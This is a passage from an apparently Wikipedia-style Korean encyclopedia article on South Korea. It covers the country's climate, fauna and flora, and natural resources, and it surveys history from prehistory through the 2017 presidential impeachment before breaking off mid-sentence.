촬영한 대한민국. 북위 33도~38도, 동경 126~131도에 걸쳐 있어 냉대 동계 소우 기후와 온대 하우 기후, 온난 습윤 기후가 나타난다. 겨울에 북부 지역은 편서풍으로 인해 시베리아와 몽골 고원의 영향을 받아 대륙성 기후를 띠어서 건조하고 무척 추우나 남부 지역은 이런 영향을 적게 받아 상대적으로 온난한 편이다. 여름에는 태평양의 영향을 받아 해양성 기후의 특색을 보여서 고온다습하다. 계절은 사계절이 뚜렷이 나타나며 대체로 북부 지역은 여름과 겨울이 길고 남부 지역은 봄과 가을이 길다. 4월 초에서 5월에 걸쳐 포근한 봄 날씨, 6월경에서 9월 초에는 무더운 여름이, 9월 말에서 10월 말까지는 화창하고 건조한 가을 날씨가 이어지고, 11월에 기온과 습도가 점차 낮아지기 시작하여 12월에서 2월까지는 춥고 건조한 겨울 날씨를 보인다. 중부 산간 지방을 제외하고 대체로 연 평균 기온은 10 ~ 16℃이며, 가장 무더운 달인 8월은 23 ~ 36℃, 5월은 16 ~ 19℃, 10월은 11 ~ 19℃, 가장 추운 달인 1월은 -6 ~ 3℃이다.[19] 비는 주로 여름에 많이 내리는데 연 강수량의 50 ~ 60%가 이때 집중된다. 이를 장마라고 하며 특히 6월 말에서 7월 중순까지를 장마철이라 한다. 각 지역의 연 평균 강수량은 중부 지방이 1100 ~ 1400mm, 남부 지방이 1000 ~ 1800mm, 경북 지역이 1000 ~ 1200mm이다. 경상남도 해안 지역은 약 1800mm이며 제주도는 1450 ~ 1850mm이다.[19] 습도는 7월과 8월이 높아서 전국에 걸쳐 80%정도이고 9월과 10월은 70% 내외이다. 태풍은 북태평양 서부에서 연평균 28개 정도가 발생하여, 이 중 두세 개가 영향을 미친다.[19] 동식물 대한민국의 식생 문서를 참고하십시오. 시베리아호랑이는 한국호랑이와 비슷한 종류이다. 한반도 전역에 동식물 10만여 종이 분포한다. 호랑이 중에서 가장 큰 종인 시베리아호랑이가 과거 살았었으나 현재는 보이지 않는다. 그 밖의 맹수로는 반달곰과 표범이 있으며 소수 개체군이 생존한다. 그 밖에도 멧돼지, 고라니, 너구리 등의 포유류와 까치, 꿩, 참새, 비둘기를 비롯한 텃새, 두루미, 기러기 같은 철새가 서식하며 지네나 거미, 수많은 곤충류도 있다. 삼면이 바다여서 난류와 한류에 서식하는 다양한 어패류와 고래도 존재한다. 다만 최근에는 지구 온난화로 한류성 어류가 감소하고 불가사리나 해파리가 급증해서 큰 문제가 되고 있다. 산삼이나 진달래, 소나무 등 많은 식물은 약용이나 기타 여러 용도로 쓰인다. 제주도에는 열대림과 비슷한 야자수가 번육하며 지리산이나 태백산맥에는 북방계형의 특산 식물들이 자생한다. 백두산에는 시베리아나 만주에서만 볼 수 있는 침엽수림과 같은 북방계 식물류가 자란다. 중부 지방에는 높은 산지로 말미암아 고산형 식물과 약용식물 여러 종이 자생한다. 천연자원 대한민국의 자원 문서를 참고하십시오. 시멘트 공업과 석회공업(石灰工業)의 원료인 석회암은 한국의 주요 자원으로 각지에 대량 분포해 있다. 다른 자원은 양이 적거나 품질이 낮아 채산성이 맞지 않는 탓에 거의 생산하지 않는다. 다만 21세기 이래 국제 원자재 가격의 상승과 기술의 발전으로 재개장하는 광산이 있다. 석탄은 무연탄만이 있으며 삼척, 태백 일대에 집중되어 있다. 철광석은 양양, 충주 등지에서 주로 캤다. 텅스텐은 매장량이 매우 많으며 특히 영월에 엄청난 규모의 광산이 있다. 울산 앞바다에서는 천연가스층이 발견되어 개발하고 있으며, 독도 부근 해저에는 메테인 하이드레이트가 상당량 묻혀 있는 것으로 알려져 있다. 석유는 제주도 남방 해역의 대륙붕 제7광구에 천연가스와 함께 매장되어 있을 가능성이 언급되지만[20] 실제로 탐사되지는 않았다. 이곳은 1974년에 체결한 한일 대륙붕 협정에 의해 2028년까지 한일이 공동 관리한다. 역사 이 부분의 본문은 대한민국의 역사입니다. 1948년 이전 한반도를 중심으로 한 한민족의 역사에 관해서는 한국의 역사 문서를 참고하십시오. 이 문단의 내용은 출처가 분명하지 않습니다. 지금 바로 이 문단을 편집하여, 참고하신 문헌이나 신뢰할 수 있는 출처를 각주 등으로 표기해 주세요. 검증되지 않은 내용은 삭제될 수도 있습니다. 내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요. (2018년 7월 6일에 문단의 출처가 요청되었습니다.) 기원 이 부분의 본문은 한민족입니다. 한민족의 영산(靈山)으로 일컬어지는 백두산 천지. 한반도에 두 발로 걷고 도구를 이용하는 사람들이 살기 시작한 시기는 기원전 약 70만 년 이전으로 추정되며, 현생인류는 후기 구석기 시대인 약 2만 5천 년 전부터 해안과 강가를 중심으로 거주하기 시작한 것으로 보인다. 인골 화석으로는 충청북도 단양군 상시굴과 두루봉동굴, 제천시 점말굴 등에서 현생인류로 추정되는 사람 뼈 화석이 발견된 바 있다. 이후 중석기 시대와 신석기 시대를 거치면서 여러 빗살무늬 토기인, 무문토기인 등 여러 인종의 유입과 주변 세력들과의 상호작용을 통해 문명이 발전했다. 다만 초기 구성원들의 이동과 외부 세력 유입의 구체적 모습은 확실하지 않다. 한반도 일대의 최초의 국가는 고조선이다. 일연의 《삼국유사》에서는 현전하지 않는 《고기》를 인용하여 단군 왕검이 고조선을 세웠다고 기록하였고 《동국통감》에서 그 시기를 기원전 2333년이라 하였다. 날짜는 대종교에서 임의로 음력 10월 3일로 약속하고 개천절이라 불렀는데 대한민국 정부에서 그 날을 양력으로 고쳐 국경일로 지정하였다. 고조선 멸망을 전후하여 부여, 옥저, 동예, 진국, 삼한 등 여러 나라가 생겨났고, 이후 고구려, 백제, 신라의 삼국 시대로 이어졌으며 이 중 신라가 삼국을 부분적으로 통일하는 한편 북쪽의 발해와 함께 남북국 시대를 형성했다. 10세기 고려가 등장하면서 한민족 단일 국가의 시대를 시작했고 14세기 조선이 이를 계승했다. 근대 한국의 뿌리는 1897년에 수립된 대한제국이다.[21] 고종 황제는 나라 이름을 조선(朝鮮)에서 대한(大韓)으로 고치고, 연호를 광무(光武)라 정하고, 스스로 황제의 자리에 올랐다. 최초의 근대적 헌법인 대한국 국제를 반포하였고, 미국, 영국, 독일, 프랑스, 이탈리아, 러시아, 일본, 청나라 등과 수교하였다. 광무개혁을 단행하여 신식군대를 설치하고, 근대적 사법·토지 제도를 도입하고, 상공업을 진흥하고, 근대적 병원과 학교 및 은행 등을 설립하였다. 해외에 유학생을 파견하여 근대 산업기술을 습득하게 하고, 제조·철도·운수 등 여러 분야에서 근대적 기업과 공장을 설립하였다. 그러나 대한제국의 자주적 근대화 노력은 1895년 청일 전쟁으로 일본의 영향력이 커진 이래 간섭을 받아왔으며, 1904년에는 러일전쟁에서 일본이 승리한 뒤로 일본의 한국 병합이 본격화되었다. 1905년 을사조약을 무력으로 체결하여 외교권을 박탈하고, 1907년 고종 황제를 폐위하고, 1910년 한일 병합 조약을 통해 국권을 빼앗기며 일제 강점기로 전환, 근대적 자주국가라는 목표는 사라지고 말았다. 대한민국 임시정부 일제강점기, 대한민국 임시정부 문서를 참고하십시오. 대한민국 임시정부 국무원 기념 사진(1919년 10월 11일). 1919년 3월 1일, 한국인들은 민족대표 33인의 독립선언서 낭독을 시작으로 독립을 위한 3·1운동을 펼쳤다. 이 운동은 대체로 각 지역에서 정기적으로 열리던 장(시장)의 개장일에 맞추어 전국으로 퍼져 나갔다. 일본은 시위를 무력으로 진압하였으나 폭압 통치 방식의 한계를 느껴 헌병 경찰 통치에서 문화 통치로 전환하였다. 이는 국내외 독립운동의 새로운 전환점을 마련하게 된다. 4월 11일, 3·1운동의 정신을 이어받아 중화민국 상하이에서 대한민국 임시정부가 수립되었다. 임시정부는 대한민국 임시 헌법을 제정하여 대통령제와 3권 분립을 채택하고 한국의 독립을 위하여 외교·군사적으로 노력했다. 그러나 독립운동 노선의 갈등으로 여러 인사들이 빠져나가면서 국무령 중심의 집단지도체제로 전환하고, 일제의 방해까지 겹쳐 온갖 고난과 어려움을 겪었다. 1930년대 일본의 중국 침탈이 가속화되자 내륙으로 청사를 이전하여 중일전쟁이 한창이던 1940년에는 충칭에 정착하였다. 이후 김구를 주축으로 주석중심제로 재정비하고 조소앙의 삼균주의를 건국강령으로 채택하였다. 한국 광복군도 조직하여 1941년 12월 태평양 전쟁을 일으킨 일본에 선전포고하고 1942년 2월에는 대독 선전포고까지 하여 연합군의 일원으로 참전하고자 하였다. 1942년에는 좌파계열인 조선민족혁명당의 김규식, 김원봉 세력과 김성숙, 유림 등의 무정부주의자들이 임시정부에 합류하여 민족통일전선 형성의 기틀이 마련되었다. 1943년 버마 전선의 영국군과 연합작전을 전개하고자 공작대를 파견하여 일본군 포로 취조 및 암호 번역, 선전 전단 작성, 대적 회유 방송 등을 하였다. 미국 OSS와도 연계하여 1945년 9월을 기한으로 국내 진공 작전을 준비했으나, 8월 15일 일본이 항복하여 성사되지 못했다. 현행 대한민국 헌법 전문에는 대한국민이 3·1운동에 따라 건립된 대한민국 임시 정부의 법통을 계승한다는 문구가 삽입되었다. 군정기와 해방 정국 이 부분의 본문은 대한민국 정부 수립 및 군정기입니다. 1948년 대한민국 정부 수립 선포식 1945년 8월 15일부터 1948년 7월까지 38선 이남에서 사용한 태극기 1945년 8월 15일, 일본제국이 미국에 무조건 항복함으로써 대한민국은 일제 치하로부터 벗어나 광복을 맞이하였다. 그러나 광복 이후 한반도는 얄타회담에서 이루어진 비공식적 합의에 따라 소련과 미국의 신탁 통치하에 들어갔다. 1945년 9월에는 한반도의 북위 38도선을 경계로 남쪽은 미군이, 북쪽은 구 소련군이 포고령을 선포하여 각각 군정을 실시하면서 한반도는 남과 북으로 분단되었다. 광복 이후 여운형, 안재홍 등은 1944년 설립한 지하조직인 건국동맹을 모태로 조선건국준비위원회를 개최하였고, 9월 여운형, 박헌영 등에 의해 조선인민공화국 내각이 수립되었다. 그러나 1945년 11월 중화민국 쓰촨성 충칭에서 개인 자격으로 귀국한 대한민국임시정부 요인들과 '임정정통론' 문제로 갈등이 벌어졌고, 미군정은 맥아더 포고령에 따라 인공 내각(조선인민공화국 내각)과 임시정부를 승인하지 않음으로써 인공 내각은 해산되었다. 1945년 12월에 모스크바 3상 회의에서 신탁통치안 문제를 놓고 한반도 내에는 좌, 우익 세력간 대립이 격화되었다. 곧이어 1946년 5월에는 미소공위가 개최되었으나 양측의 주장이 엇갈려 결렬되었다. 이때 김규식, 여운형, 안재홍 등은 통일 임시정부 수립을 위해 좌우합작운동을 개시하여 미소공위를 재개하고자 하였지만, 한민당과 남로당 등 좌우익세력간에 불참으로 중도파 세력만의 운동으로 축소되었다. 1945년 12월 송진우 암살, 1947년 7월에 여운형 암살 등 해방정국의 잇단 사건으로 좌우합작운동은 실패로 끝났다. 대한민국 정부 수립 미 군정은 온건파인 김규식, 안재홍, 여운형을 통해 좌우 합작과 협상을 주도하게 했다. 그러나 헤게모니 장악에서 제외된 것에 불만을 품은 이승만, 김구, 윤치영, 박헌영, 허헌 등의 반발에 봉착하게 되었다. 이후 제2차 미소공위 마저 결렬되어버리자 미국은 한반도 문제를 UN 총회로 이관했고, 총회에서 남한 내 단독정부 수립이 결정되었다. 이에 김규식, 조소앙, 김구 등은 통일 정부를 수립하기 위해 남북협상 등을 추진하여 노력하였으나 수포로 돌아가고, 남한에서도 선거 가능한 지역에 한한 정부 수립론이 제기되면서 (정읍 발언) 사실상 남북단일 정부 수립은 불가능한 모양새가 되었다. 1948년 1월부터 한반도의 정국은 단독 정부 수립론과 남북 협상을 통한 정부 수립론을 놓고 의견이 갈라서게 되었다. 그러나 1948년 2월 38선 이북에서는 북조선인민위원회를 구성하고, 조선인민군을 창건하면서 분단은 사실상 불가피하게 되었다. 5월 10일 38도선 이남에서만 제헌 의원 총선거가 실시되어 제헌 국회가 탄생하였고, 같은 해 7월 17일에는 초대 헌법인 대한민국 제헌 헌법이 구성되었다. 7월 22일에는 국회의 간접 선거로 이승만이 초대 대통령, 이시영이 초대 부통령으로 선출되었고, 8월 15일에는 대한민국 정부 수립이 선포되었다. 위키문헌에 이 글과관련된 원문이 있습니다. United Nations General Assembly Resolution 293 12월 12일 "유엔 총회 결의 195(III) 한국의 독립 문제"에서 대한민국이 "한반도에서 유일하게 그러한 정부(the only such Government in Korea)"임을 선언하였다. 여기서 '그러한'은 대한민국이 임시위원단의 감시 하에서 주민들 대다수의 자유 의사에 따라 수립되었고, (분단상태를 고려할 때)선거가 가능했던 그 지역에 대한 유효한 지배권과 관할권을 가진 합법정부임을 뜻한다. 이미 48년 9월 9일에 한반도 이북에서는 조선민주주의인민공화국이 선포되었음에 미루어 그 해 12월의 결의는 대한민국만을 한반도에서 유일한 합법정부로 인정한 것이다. 한국 전쟁 6·25 전쟁 중 동생을 등에 업고 지나가는 소녀 이 부분의 본문은 한국 전쟁입니다. 조선민주주의인민공화국의 김일성은 남침을 기도하여 공산주의화 하려는 야망을 실현하고자 준비하였다. 소련의 지도자인 이오시프 스탈린의 승인을 받자, 1950년 6월 25일 새벽 4시에 소련에서 지원받은 수십대의 소련제 탱크를 앞세워 대한민국을 침공했다. 당시 대한민국에는 탱크의 공세를 막을 수 있는 방어책이 전혀 없었고 야포와 전투기 등 모든 것이 압도적으로 열세였기 때문에 총만 가진 거의 맨 몸의 한국군은 순식간에 밀려날 수 밖에 없었다. 그렇게 대한민국은 조선인민군이 침략한 3일만에 수도인 서울을 인민군에게 빼앗기게 된다. 치밀하게 계획하고 무장한 인민군을 상대하는 것이 계란으로 바위치기였던 한국군은 결국 밀려나 낙동강 방어선을 최후의 배수진으로 정하고 버티었다. 이 과정에서 수많은 어린 학생들(학도병들)이 무고하게 죽어나갔으며 많은 사상자와 인명피해가 초래되었다. 하지만 UN군이 파병으로 지원하고 UN군 총사령관 더글러스 맥아더가 9.15일 인천 상륙 작전을 벌여 조선인민군에 반격을 시작하자 얼마 지나지 않아 대한민국은 9월 27일에 서울을 탈환해냈다. 10월 1일에는 38도선까지 수복해서 원점으로 돌아갔다. 이 때 유엔 내부에서 맺어진 새로운 결의로 유엔군의 목적이 조선민주주의인민공화국을 완전히 공략하려는 목적으로 변경되었다. 이후 한국과 UN군은 거듭해서 10월 26일에는 압록강까지 올라갔으나 곧 이어 중화인민공화국이 인해전술을 펼치며 참전하고 소련이 군사를 지원하여 전세가 다시 역전되었고 전쟁은 장기화되었다. 이후 38도선 인근 중부 지방에서 교착을 거듭하던 1953년 7월 27일에 휴전협정이 오전 10시에 체결된 후에 효력이 발생한 22시에 완전히 전투가 종료되고 군사 분계선이 형성되면서 오늘날까지 휴전 상태가 이어지고 있다. 한국 전쟁으로 20만 명이 과부가 되었고 10만여 명 이상이 고아가 되었으며 1천만여 명 이상이 이산 가족 신세가 되었다. 한반도 내 45%에 이르는 공업 시설이 파괴된 탓에 경제적, 사회적 암흑기가 도래하여 한국과 북한의 경제 수준이 떨어졌다. 무엇보다도 이 전쟁으로 인해 남북 간에 서로에 대한 적대적 감정이 극도로 팽배하게 되어 한국의 분단이 더욱 고착화되면서, 분단한 지 70여년에 이르고 있다. 제1·2공화국 1960년 4.19 혁명. 이 부분의 본문은 제1공화국, 4·19 혁명, 및 제2공화국입니다. 한국 전쟁이 휴전 협정을 맺은 후 1950년대는 미국으로부터 지원을 받아 전후복구사업을 실시하는 가운데 경제원조체제가 성립되던 시기였다. 제1공화국 정권의 고위 관료는 부패해 국민의 불만을 샀다. 의원 내각제였던 제1대 내각에서 재선이 불가능하다 판단한 이승만은 이범석과 장택상을 비롯한 측근들과 족청계, 백골단, 땃벌떼 등을 동원하여 부산정치파동(1952년), 사사오입 개헌(1954년)을 일으키고 장기집권을 추진했다. 그러나 이범석, 장택상 등의 성장을 두려워한 이승만은 이들을 제거하고 이기붕 계열을 등용한다. 이기붕 계열은 또한 친 자유당 성향의 이정재, 임화수, 유지광 등의 정치깡패들을 활용하여 야당 의원의 집회를 탄압, 제1공화국 후반기는 혼란을 거듭했다. 그 와중에 부통령 장면의 피격 사건(1958)과 조봉암 사법살인(1959) 등의 조치까지 겸해졌고 언론의 자유마저 통제당했다. 1959년의 한일회담이 끝나자 곳곳에서 정부의 독재에 저항하는 집회가 시작, 1960년 3월 15일 부통령 선거의 부정을 계기로 국민들의 불만은 극에 달해 4·19 혁명이 발생했고, 마산 앞바다에서 며칠 전 실종되었던 김주열의 주검이 떠오르면서 시위는 격화되었다. 4월 26일 이승만 대통령이 하야를 선언하여 제1공화국은 붕괴했다. 제2공화국 국무총리 장면 4·19 혁명 이후 허정 과도 내각을 거쳐 장면을 수상으로 하는 제2공화국이 수립됐다. 제2공화국은 3차 개헌을 통해 내각책임제와 양원제를 구성했고, 언론 자유와 혁신계 정치활동을 허용했다. 제2공화국 당시 각계 각층의 통일 운동과 민주화 요구가 분출되기도 했는데, 집권 여당인 민주당 사이에서 신파와 구파가 나뉘어버려서 개혁 의지가 미약한 탓에 이러한 요구들을 수용하지 못했다. 곳곳에서 데모가 연이어 벌어졌고, 장면이 단호한 조치를 계획하던 중 1961년 5월 16일 새벽 5·16 쿠데타로 내각 각료들이 체포되면서 장면 내각은 1년 남짓밖에 집권하지 못하고 무너졌다. 그 뒤 윤보선은 형식적인 민정을 실시하였으나 군사정변 세력에게 구정치인 정화법(1962)으로 정치활동을 정지당하자 여기에 불만을 품고 사퇴(1962.3.22)함으로써 1962년 3월부터 1963년 12월까지 5·16 군사정변 세력이 설립한 국가재건최고회의가 사법권·행정권·입법권을 모두 장악하고 군정을 실시했다. 제3·4공화국 1961년 5.16 군사정변 당시 박정희. 이 부분의 본문은 대한민국 제3공화국, 대한민국 제4공화국, 및 최규하 정부입니다. 1963년 12월 5·16 군사 정변을 주도한 박정희 등에 의해 제3공화국이 수립됐다. 야당 후보인 윤보선과의 두 차례의 선거전에서 10만 표 안팎의 근소한 차로 집권하였다. 재임 초반 한일 협정을 추진하는 과정에서 공분을 사 일어난 시위를 무력 진압하며 강행했다. 1960년대 개발 독재의 일환으로 정부는 경공업 중심의 수출 주도형 발전과 한일협정·베트남 전쟁 파병 등을 통한 외화 획득으로 경제 발전을 꾀했다. 1970년대에는 중화학 공업과 전자산업을 집중적으로 육성했다. 하지만 도시와 농촌의 소득 격차, 저임금 노동과 빈부격차와 같은 문제도 남겼다. 이후 박정희 정부는 3선 개헌을 통과시키고 1971년 대선에서 3선에 성공한다. 그런데 대선에서 야당 후보가 돌풍을 일으키고 같은 해 총선에서 야당의 의석수가 2배로 늘어나는 선전을 이룬 데다가 제1차 석유 파동 등으로 경제성장도 한계를 보이기 시작하면서 정권 유지에 위기를 느낀 박정희 정부는 1972년 유신 헌법을 통과시키고, 제4공화국을 선포하였다. 1971년 대통령 선거에서 야당의 돌풍으로 불안감을 느낀 박정희는 1972년 7·4 남북공동성명을 발표하고, 통일을 준비한다는 명목으로 10월 유신을 선포해 유신체제를 수립했다. 이를 통해 대통령의 임기를 6년 연임제로 수정하는가 하면 국회의원을 대통령이 임명하게 할 수 있는 법안까지 통과시키는 등 대통령의 권한을 비정상적으로 확대시켰다. 이에 노동운동계, 재야와 학생 세력 등이 민주화를 요구하지만, 정부는 잇따른 긴급조치를 통해 억눌렀다. 하지만 민주화 운동 세력 및 노동운동가의 반발은 계속되었다. 미국이 한국의 '인권 침해'를 비판하기 시작하자 한미 간 외교적 마찰이 일어났다. 제2차 석유 파동까지 겪으면서 경제위기와 내부 혼란이 크게 가중되었다. 김영삼 의원제명 파동과 YH 무역 농성 사건, 부마 항쟁 등의 사회적 저항이 지속되었다. 이러한 일들은 권력 내부의 분열을 초래하였으며, 1979년 박정희가 중앙정보부장 김재규에게 암살되면서(10·26 사건) 박정희의 17년 장기 집권은 막을 내렸다. 10·26 사건 이후 유신 체제 하에서 국무총리 최규하가 이끄는 정부가 출범했다. 유신 헌법 폐지를 통해 민주화를 추진하려는 움직임이 나타나던 시기, 최규하 정부는 긴급조치를 해제함으로써 일부 정치적 억압을 완화했고, 1979년 12월과 1980년 2월, 1980년 4월에 대사면령을 단행하였다. 그러나 전두환을 비롯한 이들이 12월 12일에 군사반란을 일으켜 실권을 장악하였고, 급기야 최규하 대통령에게 간섭하기 시작했다. 이들은 1980년 쿠데타를 일으키면서 최규하 정부는 1980년 8월 최규하 대통령의 사임으로 붕괴되고 말았다. 제5공화국 이 부분의 본문은 대한민국 제5공화국입니다. 전두환과 하나회를 중심으로 한 신군부는 12·12 군사 반란을 일으켜 계엄 사령관을 체포하고 군부를 장악하여 실세로 떠올랐고, 민주화 일정을 지체시켰다. 1980년 초부터 국회와 정부는 유신 헌법을 철폐하기 위한 개헌 논의를 진행했고, 대학생과 재야 세력도 정치 일정 제시와 전두환 퇴진 요구를 바탕으로 민주화 시위를 벌였다. 이에 신군부는 5월 17일 비상계엄을 전국확대하면서, 이른바 '화려한 휴가'라고 불리는 포고령을 통해 '정치활동 금지', '보도검열 강화', '휴교령' 등을 선포하고 군병력을 동원해 국회를 폐쇄했다. (5.17 쿠데타) 이 과정에서 신군부는 5·17 쿠데타에 항거한 광주 민주화 운동을 공수부대 및 특전여단을 투입해 유혈진압을 하고, 5월 27일 국가보위비상대책위원회를 만들어 정국을 주도했다. 10월 27일에는 7년 단임의 대통령제를 골자로 한 제5공화국 헌법이 공포되고 이듬해 제5공화국이 출범했다.[22] 제5공화국은 경제 안정에 매진하는 한편, 1981년에는 1986년 아시안 게임, 1988년 서울 올림픽 등을 유치하기도 했다. 또한 야간통행금지 해제 및 교복 자율화 등의 유화 조치를 내걸어 국민들의 불만을 잠재우기도 했다. 한편으로 임기 중반부터 3저호황으로 인한 수출 흑자를 기록했다. 그러나 다른 한편으로는 권위주의적인 독재체제를 성립하고 민주주의 탄압 및 고문·정치사찰·용공조작으로 대변되는 인권 유린행위를 자행했으며, 정경유착·부정축재·친인척 비리가 빈발했다. 1987년 1월 박종철이 고문으로 치사하는 사건이 터지자 정부 퇴진과 민주화 요구의 목소리는 더욱 커졌다. 이에 정부는 호헌조치를 취하며 '개헌할 의도가 없음'을 내세웠고, 국민들의 민주화 요구는 더욱 빗발쳐 6월 항쟁으로 이어졌다. 마침내 전두환 대통령은 민정당 총재 노태우를 통해 6·29 선언을 발표하면서 국민의 개헌 요구를 수용했다. 개정된 헌법에 따라 치러진 제13대 대통령 선거에서는 여당 노태우가 당선되었고, 1988년 2월 취임식과 함께 제5공화국은 막을 내린다. 1988년 서울 올림픽 노태우 정부와 문민정부 이 부분의 본문은 노태우 정부 및 김영삼 정부입니다. 1987년 6월 29일, 당시 민주정의당 총재이자 대통령 후보였던 노태우가 대통령 직선제 등을 주 내용으로 하는 6·29 선언을 발표했다. 이후 여야가 합의하여 대통령 직선제 등을 골자로 한 개헌이 성사되었다. 이로써 야권의 정치 참여가 허용되었으며, 1988년 치러진 제13대 총선에서는 사상 최초의 '여소야대' 국회가 나왔다. 민주정의당은 불리한 여론을 극복하는 돌파구로 3당 합당을 추진해 민주자유당을 탄생시켰다. 또한 전두환 측근에 대한 사법조치를 단행(국정감사)하고 민간인들을 정계에 대폭 고용하기도 했다(과거와의 단절). 외교 면에서 노태우 정부는 북방정책을 추진해 구 소련을 비롯한 공산권 국가들과의 수교 등 관계 개선에 주력했다. 1991년 9월 유엔의 가맹국이 되었으며, 이어서 12월에는 남북기본합의서를 채택했다. 또한 1992년에는 지방 자치 제도를 실시하게 되었다. 그러나 노태우도 전두환처럼 군인 출신이었고, 12·12 사태를 주도하고 5공 성립 과정에 깊숙히 관여한 인물이라는 한계가 있었다. 노태우 정부도 정경유착은 물론 비자금 형성·민간인 사찰·고문 등 5공의 파쇼 정치를 그대로 답습했다(이 때문에 노태우 정권을 군사정권의 연장선으로 이해하는 시각도 있다). 이는 결국 민주화 시위(1991) 등으로 이어졌고, 노태우는 이른바 '6공 황태자'로 불리던 박철언을 후계자로 지명했지만 여당 내에서도 불만이 터져나왔으며 끝내 김영삼을 후계자로 택할 수밖에 없었다. 1993년 문민정부가 출범함으로써 노태우 정부는 막을 내렸다. 1992년 치러진 제14대 대선에서 민주자유당의 김영삼 후보가 당선되어 1993년에 취임하면서 대한민국은 이른바 문민정부 시대로 접어들었다. 이로써 윤보선 정부 이후 30여년만에 민간인 정부로 회귀했다. 문민정부는 하나회 군부 숙청, 금융실명제, 표현의 자유 허용, 역사 바로 세우기 운동, 지방자치 단체장 선거 부활, OECD 가입 등의 업적을 남겼다. 특히 군사 정변을 주도할 위험이 있는 군 내 사조직을 숙청하고, 12.12 관련자 및 5.18 관련 정치군인들을 처벌하기도 했다. 하지만 대한항공기 괌 추락 사고, 우암상가아파트, 성수대교 와 삼풍백화점 붕괴 사고 등의 대형 사고가 일어나 사회적인 혼란을 겪기도 했다. 또한 자유방임적 시장경제와 세계화를 추구하면서 준비없는 대규모 개방을 강행했고, 외환관리에 실패해 IMF 구제금융사건을 초래하였다. 결국 국민들의 높아진 요구를 충족시키지 못한 채 야당에게 정권을 이양할 수밖에 없었다. 국민의 정부와 참여정부 이 부분의 본문은 김대중 정부 및 노무현 정부입니다. 1997년 치러진 제15대 대선에서 새정치국민회의의 김대중 후보가 당선되면서 헌정 사상 최초의 평화적인 정권교체가 실현되었다. 국민의 정부가 들어서면서 당면한 가장 큰 과제는 IMF 위기의 극복이었다. 국민의 정부는 '자유주의' 경제정책 추진과 금모으기 운동 등을 통해, 2001년까지 외채를 조기 상환해 IMF 관리 체제에서 벗어났으며, 국제 기준에 맞춘 자율적인 구조조정 체제를 도입해 기업의 체질개선 등을 단행했다.[23] 국민의 정부는 한반도의 평화와 인권 신장에 기여했다. 특히 대북관계에 있어서 햇볕정책을 추진하기 위해 분단 이후 처음으로 평양을 방문, 김정일 국방위원장과 남북정상회담을 하였다. 그러나 남북정상회담을 위해 2000억원에 달하는 현금을 북한 정권에게 불법 송금했다는 혐의가 사후 드러나 큰 비판을 받았다. 대북유화책을 추진했지만 연평해전, 핵실험 등 북한의 지속적인 도발이 계속되어 햇볕정책의 실효성에 의문이 제기되었다. 또한, IMF 위기 극복을 위해 국민의 정부가 추진했었던 신자유주의 정책은 승자 독식의 기형적 사회구조를 구축했다는 비판이 있으며, 지나친 구조조정과 기업 매각 등으로 대량의 실업자를 양산했다는 부정적 평가가 일부 존재한다. 2002년 치러진 제16대 대선에서는 새천년민주당의 노무현 후보가 당선되면서 2003년 참여정부가 출범하였다. 2004년에는 대통령 탄핵 소추를 겪는 등 위기를 맞기도 했으나, 여론의 반발과 헌법재판소의 기각 결정으로 노무현 대통령은 직에 복귀했으며, 2004년 제17대 총선에서 여당인 열린우리당이 탄핵역풍을 맞은 야당을 누르고 과반수 의석을 차지하면서 국정 탄력을 받았다. 참여 정부는 권위주위 타파, 균형 발전 등 개혁적이고 진보적인 정책을 수립했다. 진실 화해를 위한 과거사 정리위원회 설치를 통한 과거사 정리, 세종특별자치시 추진으로 균형 발전을 꾀했다는 평가가 있다. 하지만, 참여정부는 현실을 고려하지 않은 지나친 개혁과 대통령의 과격한 발언 등으로 보수층과 중도층의 반발을 불러왔고, 노무현 대통령의 형인 노건평 씨의 측근 비리 등 각종 악재로 인하여 임기 중반에 지지율이 하락하기도 하였다. 경제적으로는 부동산 가격 폭등, 양극화를 심화시켰으며, 양극화의 원인으로 제시되어 많은 사회적 논란을 낳은 비정규직 문제를 해결하지 못했다. 또한 노무현 재임 당시 교육부총리였던 김진표가 추진한 정책으로 인하여 대학 등록금도 큰 폭으로 상승하는 등 서민의 경제적 어려움을 가중시켰다는 지적도 있다. 이명박 정부와 박근혜 정부 이 부분의 본문은 이명박 정부 및 박근혜 정부입니다. 2007년 치러진 제17대 대선에서 한나라당의 이명박 후보가 대통령에 당선되었다. 이명박 정부는 7대 강국, 4만달러 시대, 7% 성장('747 공약')을 내세웠다. 하지만 집권 초인 2008년 미국발 세계 금융 위기의 여파로 인한 경제적 위기와, 광우병소 수입 반대 촛불집회로 인한 정치적 위기를 동시에 겪었다. 금융위기를 극복하기 위해 이명박 정부는 여러 정책을 시도하는데, 그 중 대표적인 것이 4대강 사업이다. 4대강 사업은 건설경기를 살렸고 홍수 피해를 줄였다는 긍정적 평가와 세금 낭비와 환경파괴라는 부정적 평가가 각각 존재한다. 2010년에는 G20정상회의 개최와, 2012년 핵안보정상회의를 개최하여 외교적 성과를 이뤘고, 금융위기 극복, 국가신용등급 향상, 원전 수주 등 다양한 성과를 거두었다는 긍정적인 평가가 있다. 하지만 미디어법 개정으로 언론장악이 아니냐는 비판도 있으며, 세종시 수정안과 같이 여러 정책들의 추진에 대한 찬반 양론이 존재한다. 또한, 종합부동산세 폐지로 부자 감세 의혹이 제기되었고,[24] 야심차게 추진한 자원외교에 대해서는 세금 낭비와 비리 의혹이 제기되어 논란이 되고 있다.[25] 박근혜 대통령 퇴진 운동 2012년 치러진 제18대 대선에서는 새누리당의 박근혜 후보가 대통령에 당선되었다. 그러나 국정원의 선거 개입 의혹이 제기되며 출범부터 논란에 휩싸였고, 이어 잇따른 인사의 실패로 국정운영에 어려움을 겪었다. 더구나 2014년 4월 세월호 참사와 2015년 메르스 사태 등으로 재난 대책에 미숙한 모습을 드러내었으며, 창조경제와 노동개혁, 국정교과서 추진, 한일 위안부 합의, 사드(THAAD, 고고도 미사일 방어 체계) 배치 결정, 통합진보당 해체 등 여러 정책에 대해 사회적 비판과 갈등을 겪은 데다가 2016년 4월 제20대 총선에서 여소야대 국회가 다시금 등장하면서 정치적 위기를 맞았다. 결국 2016년 10월 민간인 신분인 최순실 씨의 국정 농단 사태(박근혜-최순실 게이트)가 밝혀지면서 박근혜 대통령 퇴진 운동이 시작되었고, 국회는 박근혜 대통령 탄핵 소추안을 가결시키며 박근혜 대통령의 권한이 정지, 황교안 대통령 권한대행 체제가 확립되었다. 2017년 3월 10일 헌법재판소의 탄핵 인용으로 박근혜 대통령은 헌정 사상 